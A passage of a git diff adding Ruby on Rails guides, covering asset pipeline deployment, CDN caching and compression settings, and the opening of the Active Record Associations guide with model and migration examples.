something like this: + +```html +<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js"></script> +<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" +rel="stylesheet" /> +``` + +NOTE: with the Asset Pipeline the `:cache` and `:concat` options aren't used +anymore, delete these options from the `javascript_include_tag` and +`stylesheet_link_tag`. + +The fingerprinting behavior is controlled by the `config.assets.digest` +initialization option (which defaults to `true`). + +NOTE: Under normal circumstances the default `config.assets.digest` option +should not be changed. If there are no digests in the filenames, and far-future +headers are set, remote clients will never know to refetch the files when their +content changes. + +### Precompiling Assets + +Rails comes bundled with a command to compile the asset manifests and other +files in the pipeline. + +Compiled assets are written to the location specified in `config.assets.prefix`. +By default, this is the `/assets` directory. + +You can call this command on the server during deployment to create compiled +versions of your assets directly on the server. See the next section for +information on compiling locally. + +The command is: + +```bash +$ RAILS_ENV=production rails assets:precompile +``` + +Capistrano (v2.15.1 and above) includes a recipe to handle this in deployment. +Add the following line to `Capfile`: + +```ruby +load 'deploy/assets' +``` + +This links the folder specified in `config.assets.prefix` to `shared/assets`. +If you already use this shared folder you'll need to write your own deployment +command. + +It is important that this folder is shared between deployments so that remotely +cached pages referencing the old compiled assets still work for the life of +the cached page. + +The default matcher for compiling files includes `application.js`, +`application.css` and all non-JS/CSS files (this will include all image assets +automatically) from `app/assets` folders including your gems: + +```ruby +[ Proc.new { |filename, path| path =~ /app\/assets/ && !%w(.js .css).include?(File.extname(filename)) }, +/application.(css|js)$/ ] +``` + +NOTE: The matcher (and other members of the precompile array; see below) is +applied to final compiled file names. This means anything that compiles to +JS/CSS is excluded, as well as raw JS/CSS files; for example, `.coffee` and +`.scss` files are **not** automatically included as they compile to JS/CSS. + +If you have other manifests or individual stylesheets and JavaScript files to +include, you can add them to the `precompile` array in `config/initializers/assets.rb`: + +```ruby +Rails.application.config.assets.precompile += %w( admin.js admin.css ) +``` + +NOTE. Always specify an expected compiled filename that ends with `.js` or `.css`, +even if you want to add Sass or CoffeeScript files to the precompile array. + +The command also generates a `.sprockets-manifest-randomhex.json` (where `randomhex` is +a 16-byte random hex string) that contains a list with all your assets and their respective +fingerprints. This is used by the Rails helper methods to avoid handing the +mapping requests back to Sprockets. A typical manifest file looks like: + +```ruby +{"files":{"application-aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b.js":{"logical_path":"application.js","mtime":"2016-12-23T20:12:03-05:00","size":412383, +"digest":"aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b","integrity":"sha256-ruS+cfEogDeueLmX3ziDMu39JGRxtTPc7aqPn+FWRCs="}, +"application-86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18.css":{"logical_path":"application.css","mtime":"2016-12-23T19:12:20-05:00","size":2994, +"digest":"86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18","integrity":"sha256-hqKStQcHk8N+LA5fOfc7s4dkTq6tp/lub8BAoCixbBg="}, +"favicon-8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda.ico":{"logical_path":"favicon.ico","mtime":"2016-12-23T20:11:00-05:00","size":8629, +"digest":"8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda","integrity":"sha256-jSOHuNTTLOzZP6OQDfDp/4nQGqzYT1DngMF8n2s9Dto="}, +"my_image-f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493.png":{"logical_path":"my_image.png","mtime":"2016-12-23T20:10:54-05:00","size":23414, +"digest":"f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493","integrity":"sha256-9AKBVv1+ygNYTV8vwEcN8eDbxzaequY4sv8DP5iOxJM="}}, +"assets":{"application.js":"application-aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b.js", +"application.css":"application-86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18.css", +"favicon.ico":"favicon-8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda.ico", +"my_image.png":"my_image-f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493.png"}} +``` + +The default location for the manifest is the root of the location specified in +`config.assets.prefix` ('/assets' by default). + +NOTE: If there are missing precompiled files in production you will get an +`Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError` +exception indicating the name of the missing file(s). + +#### Far-future Expires Header + +Precompiled assets exist on the file system and are served directly by your web +server. They do not have far-future headers by default, so to get the benefit of +fingerprinting you'll have to update your server configuration to add those +headers. + +For Apache: + +```apache +# The Expires* directives requires the Apache module +# `mod_expires` to be enabled. +<Location /assets/> + # Use of ETag is discouraged when Last-Modified is present + Header unset ETag + FileETag None + # RFC says only cache for 1 year + ExpiresActive On + ExpiresDefault "access plus 1 year" +</Location> +``` + +For NGINX: + +```nginx +location ~ ^/assets/ { + expires 1y; + add_header Cache-Control public; + + add_header ETag ""; +} +``` + +### Local Precompilation + +There are several reasons why you might want to precompile your assets locally. +Among them are: + +* You may not have write access to your production file system. +* You may be deploying to more than one server, and want to avoid +duplication of work. +* You may be doing frequent deploys that do not include asset changes. + +Local compilation allows you to commit the compiled files into source control, +and deploy as normal. + +There are three caveats: + +* You must not run the Capistrano deployment task that precompiles assets. +* You must ensure any necessary compressors or minifiers are +available on your development system. +* You must change the following application configuration setting: + +In `config/environments/development.rb`, place the following line: + +```ruby +config.assets.prefix = "/dev-assets" +``` + +The `prefix` change makes Sprockets use a different URL for serving assets in +development mode, and pass all requests to Sprockets. The prefix is still set to +`/assets` in the production environment. Without this change, the application +would serve the precompiled assets from `/assets` in development, and you would +not see any local changes until you compile assets again. + +In practice, this will allow you to precompile locally, have those files in your +working tree, and commit those files to source control when needed. Development +mode will work as expected. + +### Live Compilation + +In some circumstances you may wish to use live compilation. In this mode all +requests for assets in the pipeline are handled by Sprockets directly. + +To enable this option set: + +```ruby +config.assets.compile = true +``` + +On the first request the assets are compiled and cached as outlined in +development above, and the manifest names used in the helpers are altered to +include the SHA256 hash. + +Sprockets also sets the `Cache-Control` HTTP header to `max-age=31536000`. This +signals all caches between your server and the client browser that this content +(the file served) can be cached for 1 year. The effect of this is to reduce the +number of requests for this asset from your server; the asset has a good chance +of being in the local browser cache or some intermediate cache. + +This mode uses more memory, performs more poorly than the default, and is not +recommended. + +If you are deploying a production application to a system without any +pre-existing JavaScript runtimes, you may want to add one to your `Gemfile`: + +```ruby +group :production do + gem 'mini_racer' +end +``` + +### CDNs + +CDN stands for [Content Delivery +Network](https://en.wikipedia.org/wiki/Content_delivery_network), they are +primarily designed to cache assets all over the world so that when a browser +requests the asset, a cached copy will be geographically close to that browser. +If you are serving assets directly from your Rails server in production, the +best practice is to use a CDN in front of your application. + +A common pattern for using a CDN is to set your production application as the +"origin" server. This means when a browser requests an asset from the CDN and +there is a cache miss, it will grab the file from your server on the fly and +then cache it. For example if you are running a Rails application on +`example.com` and have a CDN configured at `mycdnsubdomain.fictional-cdn.com`, +then when a request is made to `mycdnsubdomain.fictional- +cdn.com/assets/smile.png`, the CDN will query your server once at +`example.com/assets/smile.png` and cache the request. The next request to the +CDN that comes in to the same URL will hit the cached copy. When the CDN can +serve an asset directly the request never touches your Rails server. Since the +assets from a CDN are geographically closer to the browser, the request is +faster, and since your server doesn't need to spend time serving assets, it can +focus on serving application code as fast as possible. + +#### Set up a CDN to Serve Static Assets + +To set up your CDN you have to have your application running in production on +the internet at a publicly available URL, for example `example.com`. Next +you'll need to sign up for a CDN service from a cloud hosting provider. When you +do this you need to configure the "origin" of the CDN to point back at your +website `example.com`, check your provider for documentation on configuring the +origin server. + +The CDN you provisioned should give you a custom subdomain for your application +such as `mycdnsubdomain.fictional-cdn.com` (note fictional-cdn.com is not a +valid CDN provider at the time of this writing). Now that you have configured +your CDN server, you need to tell browsers to use your CDN to grab assets +instead of your Rails server directly. You can do this by configuring Rails to +set your CDN as the asset host instead of using a relative path. To set your +asset host in Rails, you need to set `config.action_controller.asset_host` in +`config/environments/production.rb`: + +```ruby +config.action_controller.asset_host = 'mycdnsubdomain.fictional-cdn.com' +``` + +NOTE: You only need to provide the "host", this is the subdomain and root +domain, you do not need to specify a protocol or "scheme" such as `http://` or +`https://`. When a web page is requested, the protocol in the link to your asset +that is generated will match how the webpage is accessed by default. + +You can also set this value through an [environment +variable](https://en.wikipedia.org/wiki/Environment_variable) to make running a +staging copy of your site easier: + +``` +config.action_controller.asset_host = ENV['CDN_HOST'] +``` + + + +NOTE: You would need to set `CDN_HOST` on your server to `mycdnsubdomain +.fictional-cdn.com` for this to work. + +Once you have configured your server and your CDN when you serve a webpage that +has an asset: + +```erb +<%= asset_path('smile.png') %> +``` + +Instead of returning a path such as `/assets/smile.png` (digests are left out +for readability). The URL generated will have the full path to your CDN. + +``` +http://mycdnsubdomain.fictional-cdn.com/assets/smile.png +``` + +If the CDN has a copy of `smile.png` it will serve it to the browser and your +server doesn't even know it was requested. If the CDN does not have a copy it +will try to find it at the "origin" `example.com/assets/smile.png` and then store +it for future use. + +If you want to serve only some assets from your CDN, you can use custom `:host` +option your asset helper, which overwrites value set in +`config.action_controller.asset_host`. + +```erb +<%= asset_path 'image.png', host: 'mycdnsubdomain.fictional-cdn.com' %> +``` + +#### Customize CDN Caching Behavior + +A CDN works by caching content. If the CDN has stale or bad content, then it is +hurting rather than helping your application. The purpose of this section is to +describe general caching behavior of most CDNs, your specific provider may +behave slightly differently. + +##### CDN Request Caching + +While a CDN is described as being good for caching assets, in reality caches the +entire request. This includes the body of the asset as well as any headers. The +most important one being `Cache-Control` which tells the CDN (and web browsers) +how to cache contents. This means that if someone requests an asset that does +not exist `/assets/i-dont-exist.png` and your Rails application returns a 404, +then your CDN will likely cache the 404 page if a valid `Cache-Control` header +is present. + +##### CDN Header Debugging + +One way to check the headers are cached properly in your CDN is by using [curl]( +http://explainshell.com/explain?cmd=curl+-I+http%3A%2F%2Fwww.example.com). You +can request the headers from both your server and your CDN to verify they are +the same: + +``` +$ curl -I http://www.example/assets/application- +d0e099e021c95eb0de3615fd1d8c4d83.css +HTTP/1.1 200 OK +Server: Cowboy +Date: Sun, 24 Aug 2014 20:27:50 GMT +Connection: keep-alive +Last-Modified: Thu, 08 May 2014 01:24:14 GMT +Content-Type: text/css +Cache-Control: public, max-age=2592000 +Content-Length: 126560 +Via: 1.1 vegur +``` + +Versus the CDN copy. + +``` +$ curl -I http://mycdnsubdomain.fictional-cdn.com/application- +d0e099e021c95eb0de3615fd1d8c4d83.css +HTTP/1.1 200 OK Server: Cowboy Last- +Modified: Thu, 08 May 2014 01:24:14 GMT Content-Type: text/css +Cache-Control: +public, max-age=2592000 +Via: 1.1 vegur +Content-Length: 126560 +Accept-Ranges: +bytes +Date: Sun, 24 Aug 2014 20:28:45 GMT +Via: 1.1 varnish +Age: 885814 +Connection: keep-alive +X-Served-By: cache-dfw1828-DFW +X-Cache: HIT +X-Cache-Hits: +68 +X-Timer: S1408912125.211638212,VS0,VE0 +``` + +Check your CDN documentation for any additional information they may provide +such as `X-Cache` or for any additional headers they may add. + +##### CDNs and the Cache-Control Header + +The [cache control +header](http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9) is a W3C +specification that describes how a request can be cached. When no CDN is used, a +browser will use this information to cache contents. This is very helpful for +assets that are not modified so that a browser does not need to re-download a +website's CSS or JavaScript on every request. Generally we want our Rails server +to tell our CDN (and browser) that the asset is "public", that means any cache +can store the request. Also we commonly want to set `max-age` which is how long +the cache will store the object before invalidating the cache. The `max-age` +value is set to seconds with a maximum possible value of `31536000` which is one +year. You can do this in your Rails application by setting + +``` +config.public_file_server.headers = { + 'Cache-Control' => 'public, max-age=31536000' +} +``` + +Now when your application serves an asset in production, the CDN will store the +asset for up to a year. Since most CDNs also cache headers of the request, this +`Cache-Control` will be passed along to all future browsers seeking this asset, +the browser then knows that it can store this asset for a very long time before +needing to re-request it. + +##### CDNs and URL based Cache Invalidation + +Most CDNs will cache contents of an asset based on the complete URL. This means +that a request to + +``` +http://mycdnsubdomain.fictional-cdn.com/assets/smile-123.png +``` + +Will be a completely different cache from + +``` +http://mycdnsubdomain.fictional-cdn.com/assets/smile.png +``` + +If you want to set far future `max-age` in your `Cache-Control` (and you do), +then make sure when you change your assets that your cache is invalidated. For +example when changing the smiley face in an image from yellow to blue, you want +all visitors of your site to get the new blue face. When using a CDN with the +Rails asset pipeline `config.assets.digest` is set to true by default so that +each asset will have a different file name when it is changed. This way you +don't have to ever manually invalidate any items in your cache. By using a +different unique asset name instead, your users get the latest asset. + +Customizing the Pipeline +------------------------ + +### CSS Compression + +One of the options for compressing CSS is YUI. The [YUI CSS +compressor](https://yui.github.io/yuicompressor/css.html) provides +minification. + +The following line enables YUI compression, and requires the `yui-compressor` +gem. + +```ruby +config.assets.css_compressor = :yui +``` +The other option for compressing CSS if you have the sass-rails gem installed is + +```ruby +config.assets.css_compressor = :sass +``` + +### JavaScript Compression + +Possible options for JavaScript compression are `:closure`, `:uglifier` and +`:yui`. These require the use of the `closure-compiler`, `uglifier` or +`yui-compressor` gems, respectively. + +The default `Gemfile` includes [uglifier](https://github.com/lautis/uglifier). +This gem wraps [UglifyJS](https://github.com/mishoo/UglifyJS) (written for +NodeJS) in Ruby. It compresses your code by removing white space and comments, +shortening local variable names, and performing other micro-optimizations such +as changing `if` and `else` statements to ternary operators where possible. + +The following line invokes `uglifier` for JavaScript compression. + +```ruby +config.assets.js_compressor = :uglifier +``` + +NOTE: You will need an [ExecJS](https://github.com/rails/execjs#readme) +supported runtime in order to use `uglifier`. If you are using macOS or +Windows you have a JavaScript runtime installed in your operating system. + + + +### Serving GZipped version of assets + +By default, gzipped version of compiled assets will be generated, along with +the non-gzipped version of assets. Gzipped assets help reduce the transmission +of data over the wire. You can configure this by setting the `gzip` flag. + +```ruby +config.assets.gzip = false # disable gzipped assets generation +``` + +### Using Your Own Compressor + +The compressor config settings for CSS and JavaScript also take any object. +This object must have a `compress` method that takes a string as the sole +argument and it must return a string. + +```ruby +class Transformer + def compress(string) + do_something_returning_a_string(string) + end +end +``` + +To enable this, pass a new object to the config option in `application.rb`: + +```ruby +config.assets.css_compressor = Transformer.new +``` + + +### Changing the _assets_ Path + +The public path that Sprockets uses by default is `/assets`. + +This can be changed to something else: + +```ruby +config.assets.prefix = "/some_other_path" +``` + +This is a handy option if you are updating an older project that didn't use the +asset pipeline and already uses this path or you wish to use this path for +a new resource. + +### X-Sendfile Headers + +The X-Sendfile header is a directive to the web server to ignore the response +from the application, and instead serve a specified file from disk. This option +is off by default, but can be enabled if your server supports it. When enabled, +this passes responsibility for serving the file to the web server, which is +faster. Have a look at [send_file](http://api.rubyonrails.org/classes/ActionController/DataStreaming.html#method-i-send_file) +on how to use this feature. + +Apache and NGINX support this option, which can be enabled in +`config/environments/production.rb`: + +```ruby +# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for Apache +# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX +``` + +WARNING: If you are upgrading an existing application and intend to use this +option, take care to paste this configuration option only into `production.rb` +and any other environments you define with production behavior (not +`application.rb`). + +TIP: For further details have a look at the docs of your production web server: +- [Apache](https://tn123.org/mod_xsendfile/) +- [NGINX](http://wiki.nginx.org/XSendfile) + +Assets Cache Store +------------------ + +By default, Sprockets caches assets in `tmp/cache/assets` in development +and production environments. This can be changed as follows: + +```ruby +config.assets.configure do |env| + env.cache = ActiveSupport::Cache.lookup_store(:memory_store, + { size: 32.megabytes }) +end +``` + +To disable the assets cache store: + +```ruby +config.assets.configure do |env| + env.cache = ActiveSupport::Cache.lookup_store(:null_store) +end +``` + +Adding Assets to Your Gems +-------------------------- + +Assets can also come from external sources in the form of gems. + +A good example of this is the `jquery-rails` gem. +This gem contains an engine class which inherits from `Rails::Engine`. +By doing this, Rails is informed that the directory for this +gem may contain assets and the `app/assets`, `lib/assets` and +`vendor/assets` directories of this engine are added to the search path of +Sprockets. + +Making Your Library or Gem a Pre-Processor +------------------------------------------ + +Sprockets uses Processors, Transformers, Compressors, and Exporters to extend +Sprockets functionality. Have a look at +[Extending Sprockets](https://github.com/rails/sprockets/blob/master/guides/extending_sprockets.md) +to learn more. Here we registered a preprocessor to add a comment to the end +of text/css (`.css`) files. + +```ruby +module AddComment + def self.call(input) + { data: input[:data] + "/* Hello From my sprockets extension */" } + end +end +``` + +Now that you have a module that modifies the input data, it's time to register +it as a preprocessor for your mime type. + +```ruby +Sprockets.register_preprocessor 'text/css', AddComment +``` + diff --git a/guides/source/association_basics.md b/guides/source/association_basics.md new file mode 100644 index 0000000000..4f3e8b2cff --- /dev/null +++ b/guides/source/association_basics.md @@ -0,0 +1,2453 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Active Record Associations +========================== + +This guide covers the association features of Active Record. + +After reading this guide, you will know: + +* How to declare associations between Active Record models. +* How to understand the various types of Active Record associations. +* How to use the methods added to your models by creating associations. + +-------------------------------------------------------------------------------- + +Why Associations? +----------------- + +In Rails, an _association_ is a connection between two Active Record models. Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for authors and a model for books. Each author can have many books. Without associations, the model declarations would look like this: + +```ruby +class Author < ApplicationRecord +end + +class Book < ApplicationRecord +end +``` + +Now, suppose we wanted to add a new book for an existing author. We'd need to do something like this: + +```ruby +@book = Book.create(published_at: Time.now, author_id: @author.id) +``` + +Or consider deleting an author, and ensuring that all of its books get deleted as well: + +```ruby +@books = Book.where(author_id: @author.id) +@books.each do |book| + book.destroy +end +@author.destroy +``` + +With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up authors and books: + +```ruby +class Author < ApplicationRecord + has_many :books, dependent: :destroy +end + +class Book < ApplicationRecord + belongs_to :author +end +``` + +With this change, creating a new book for a particular author is easier: + +```ruby +@book = @author.books.create(published_at: Time.now) +``` + +Deleting an author and all of its books is *much* easier: + +```ruby +@author.destroy +``` + +To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails. + +The Types of Associations +------------------------- + +Rails supports six types of associations: + +* `belongs_to` +* `has_one` +* `has_many` +* `has_many :through` +* `has_one :through` +* `has_and_belongs_to_many` + +Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model `belongs_to` another, you instruct Rails to maintain [Primary Key](https://en.wikipedia.org/wiki/Unique_key)-[Foreign Key](https://en.wikipedia.org/wiki/Foreign_key) information between instances of the two models, and you also get a number of utility methods added to your model. + +In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate. + +### The `belongs_to` Association + +A `belongs_to` association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes authors and books, and each book can be assigned to exactly one author, you'd declare the book model this way: + +```ruby +class Book < ApplicationRecord + belongs_to :author +end +``` + + + +NOTE: `belongs_to` associations _must_ use the singular term. If you used the pluralized form in the above example for the `author` association in the `Book` model and tried to create the instance by `Book.create(authors: @author)`, you would be told that there was an "uninitialized constant Book::Authors". This is because Rails automatically infers the class name from the association name. If the association name is wrongly pluralized, then the inferred class will be wrongly pluralized too. + +The corresponding migration might look like this: + +```ruby +class CreateBooks < ActiveRecord::Migration[5.0] + def change + create_table :authors do |t| + t.string :name + t.timestamps + end + + create_table :books do |t| + t.belongs_to :author + t.datetime :published_at + t.timestamps + end + end +end +``` + +### The `has_one` Association + +A `has_one` association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this: + +```ruby +class Supplier < ApplicationRecord + has_one :account +end +``` + + + +The corresponding migration might look like this: + +```ruby +class CreateSuppliers < ActiveRecord::Migration[5.0] + def change + create_table :suppliers do |t| + t.string :name + t.timestamps + end + + create_table :accounts do |t| + t.belongs_to :supplier + t.string :account_number + t.timestamps + end + end +end +``` + +Depending on the use case, you might also need to create a unique index and/or +a foreign key constraint on the supplier column for the accounts table. In this +case, the column definition might look like this: + +```ruby +create_table :accounts do |t| + t.belongs_to :supplier, index: { unique: true }, foreign_key: true + # ... +end +``` + +### The `has_many` Association + +A `has_many` association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a `belongs_to` association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing authors and books, the author model could be declared like this: + +```ruby +class Author < ApplicationRecord + has_many :books +end +``` + +NOTE: The name of the other model is pluralized when declaring a `has_many` association. + + + +The corresponding migration might look like this: + +```ruby +class CreateAuthors < ActiveRecord::Migration[5.0] + def change + create_table :authors do |t| + t.string :name + t.timestamps + end + + create_table :books do |t| + t.belongs_to :author + t.datetime :published_at + t.timestamps + end + end +end +``` + +### The `has_many :through` Association + +A `has_many :through` association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this: + +```ruby +class Physician < ApplicationRecord + has_many :appointments + has_many :patients, through: :appointments +end + +class Appointment < ApplicationRecord + belongs_to :physician + belongs_to :patient +end + +class Patient < ApplicationRecord + has_many :appointments + has_many :physicians, through: :appointments +end +``` + + + +The corresponding migration might look like this: + +```ruby +class CreateAppointments < ActiveRecord::Migration[5.0] + def change + create_table :physicians do |t| + t.string :name + t.timestamps + end + + create_table :patients do |t| + t.string :name + t.timestamps + end + + create_table :appointments do |t| + t.belongs_to :physician + t.belongs_to :patient + t.datetime :appointment_date + t.timestamps + end + end +end +``` + +The collection of join models can be managed via the [`has_many` association methods](#has-many-association-reference). +For example, if you assign: + +```ruby +physician.patients = patients +``` + +Then new join models are automatically created for the newly associated objects. +If some that existed previously are now missing, then their join rows are automatically deleted. + +WARNING: Automatic deletion of join models is direct, no destroy callbacks are triggered. + +The `has_many :through` association is also useful for setting up "shortcuts" through nested `has_many` associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way: + +```ruby +class Document < ApplicationRecord + has_many :sections + has_many :paragraphs, through: :sections +end + +class Section < ApplicationRecord + belongs_to :document + has_many :paragraphs +end + +class Paragraph < ApplicationRecord + belongs_to :section +end +``` + +With `through: :sections` specified, Rails will now understand: + +```ruby +@document.paragraphs +``` + +### The `has_one :through` Association + +A `has_one :through` association sets up a one-to-one connection with another model. This association indicates +that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. +For example, if each supplier has one account, and each account is associated with one account history, then the +supplier model could look like this: + +```ruby +class Supplier < ApplicationRecord + has_one :account + has_one :account_history, through: :account +end + +class Account < ApplicationRecord + belongs_to :supplier + has_one :account_history +end + +class AccountHistory < ApplicationRecord + belongs_to :account +end +``` + + + +The corresponding migration might look like this: + +```ruby +class CreateAccountHistories < ActiveRecord::Migration[5.0] + def change + create_table :suppliers do |t| + t.string :name + t.timestamps + end + + create_table :accounts do |t| + t.belongs_to :supplier + t.string :account_number + t.timestamps + end + + create_table :account_histories do |t| + t.belongs_to :account + t.integer :credit_rating + t.timestamps + end + end +end +``` + +### The `has_and_belongs_to_many` Association + +A `has_and_belongs_to_many` association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way: + +```ruby +class Assembly < ApplicationRecord + has_and_belongs_to_many :parts +end + +class Part < ApplicationRecord + has_and_belongs_to_many :assemblies +end +``` + + + +The corresponding migration might look like this: + +```ruby +class CreateAssembliesAndParts < ActiveRecord::Migration[5.0] + def change + create_table :assemblies do |t| + t.string :name + t.timestamps + end + + create_table :parts do |t| + t.string :part_number + t.timestamps + end + + create_table :assemblies_parts, id: false do |t| + t.belongs_to :assembly + t.belongs_to :part + end + end +end +``` + +### Choosing Between `belongs_to` and `has_one` + +If you want to set up a one-to-one relationship between two models, you'll need to add `belongs_to` to one, and `has_one` to the other. How do you know which is which? + +The distinction is in where you place the foreign key (it goes on the table for the class declaring the `belongs_to` association), but you should give some thought to the actual meaning of the data as well. The `has_one` relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this: + +```ruby +class Supplier < ApplicationRecord + has_one :account +end + +class Account < ApplicationRecord + belongs_to :supplier +end +``` + +The corresponding migration might look like this: + +```ruby +class CreateSuppliers < ActiveRecord::Migration[5.0] + def change + create_table :suppliers do |t| + t.string :name + t.timestamps + end + + create_table :accounts do |t| + t.integer :supplier_id + t.string :account_number + t.timestamps + end + + add_index :accounts, :supplier_id + end +end +``` + +NOTE: Using `t.integer :supplier_id` makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using `t.references :supplier` instead. + +### Choosing Between `has_many :through` and `has_and_belongs_to_many` + +Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use `has_and_belongs_to_many`, which allows you to make the association directly: + +```ruby +class Assembly < ApplicationRecord + has_and_belongs_to_many :parts +end + +class Part < ApplicationRecord + has_and_belongs_to_many :assemblies +end +``` + +The second way to declare a many-to-many relationship is to use `has_many :through`. This makes the association indirectly, through a join model: + +```ruby +class Assembly < ApplicationRecord + has_many :manifests + has_many :parts, through: :manifests +end + +class Manifest < ApplicationRecord + belongs_to :assembly + belongs_to :part +end + +class Part < ApplicationRecord + has_many :manifests + has_many :assemblies, through: :manifests +end +``` + +The simplest rule of thumb is that you should set up a `has_many :through` relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a `has_and_belongs_to_many` relationship (though you'll need to remember to create the joining table in the database). + +You should use `has_many :through` if you need validations, callbacks, or extra attributes on the join model. + +### Polymorphic Associations + +A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared: + +```ruby +class Picture < ApplicationRecord + belongs_to :imageable, polymorphic: true +end + +class Employee < ApplicationRecord + has_many :pictures, as: :imageable +end + +class Product < ApplicationRecord + has_many :pictures, as: :imageable +end +``` + +You can think of a polymorphic `belongs_to` declaration as setting up an interface that any other model can use. From an instance of the `Employee` model, you can retrieve a collection of pictures: `@employee.pictures`. + +Similarly, you can retrieve `@product.pictures`. + +If you have an instance of the `Picture` model, you can get to its parent via `@picture.imageable`. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface: + +```ruby +class CreatePictures < ActiveRecord::Migration[5.0] + def change + create_table :pictures do |t| + t.string :name + t.integer :imageable_id + t.string :imageable_type + t.timestamps + end + + add_index :pictures, [:imageable_type, :imageable_id] + end +end +``` + +This migration can be simplified by using the `t.references` form: + +```ruby +class CreatePictures < ActiveRecord::Migration[5.0] + def change + create_table :pictures do |t| + t.string :name + t.references :imageable, polymorphic: true + t.timestamps + end + end +end +``` + + + +### Self Joins + +In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations: + +```ruby +class Employee < ApplicationRecord + has_many :subordinates, class_name: "Employee", + foreign_key: "manager_id" + + belongs_to :manager, class_name: "Employee", optional: true +end +``` + +With this setup, you can retrieve `@employee.subordinates` and `@employee.manager`. + +In your migrations/schema, you will add a references column to the model itself. + +```ruby +class CreateEmployees < ActiveRecord::Migration[5.0] + def change + create_table :employees do |t| + t.references :manager + t.timestamps + end + end +end +``` + +Tips, Tricks, and Warnings +-------------------------- + +Here are a few things you should know to make efficient use of Active Record associations in your Rails applications: + +* Controlling caching +* Avoiding name collisions +* Updating the schema +* Controlling association scope +* Bi-directional associations + +### Controlling Caching + +All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example: + +```ruby +author.books # retrieves books from the database +author.books.size # uses the cached copy of books +author.books.empty? # uses the cached copy of books +``` + +But what if you want to reload the cache, because data might have been changed by some other part of the application? Just call `reload` on the association: + +```ruby +author.books # retrieves books from the database +author.books.size # uses the cached copy of books +author.books.reload.empty? # discards the cached copy of books + # and goes back to the database +``` + +### Avoiding Name Collisions + +You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of `ActiveRecord::Base`. The association method would override the base method and break things. For instance, `attributes` or `connection` are bad names for associations. + +### Updating the Schema + +Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For `belongs_to` associations you need to create foreign keys, and for `has_and_belongs_to_many` associations you need to create the appropriate join table. + +#### Creating Foreign Keys for `belongs_to` Associations + +When you declare a `belongs_to` association, you need to create foreign keys as appropriate. For example, consider this model: + +```ruby +class Book < ApplicationRecord + belongs_to :author +end +``` + +This declaration needs to be backed up by a corresponding foreign key column in the books table. For a brand new table, the migration might look something like this: + +```ruby +class CreateBooks < ActiveRecord::Migration[5.0] + def change + create_table :books do |t| + t.datetime :published_at + t.string :book_number + t.references :author + end + end +end +``` + +Whereas for an existing table, it might look like this: + +```ruby +class AddAuthorToBooks < ActiveRecord::Migration[5.0] + def change + add_reference :books, :author + end +end +``` + +NOTE: If you wish to [enforce referential integrity at the database level](/active_record_migrations.html#foreign-keys), add the `foreign_key: true` option to the ‘reference’ column declarations above. + +#### Creating Join Tables for `has_and_belongs_to_many` Associations + +If you create a `has_and_belongs_to_many` association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the `:join_table` option, Active Record creates the name by using the lexical order of the class names. So a join between author and book models will give the default join table name 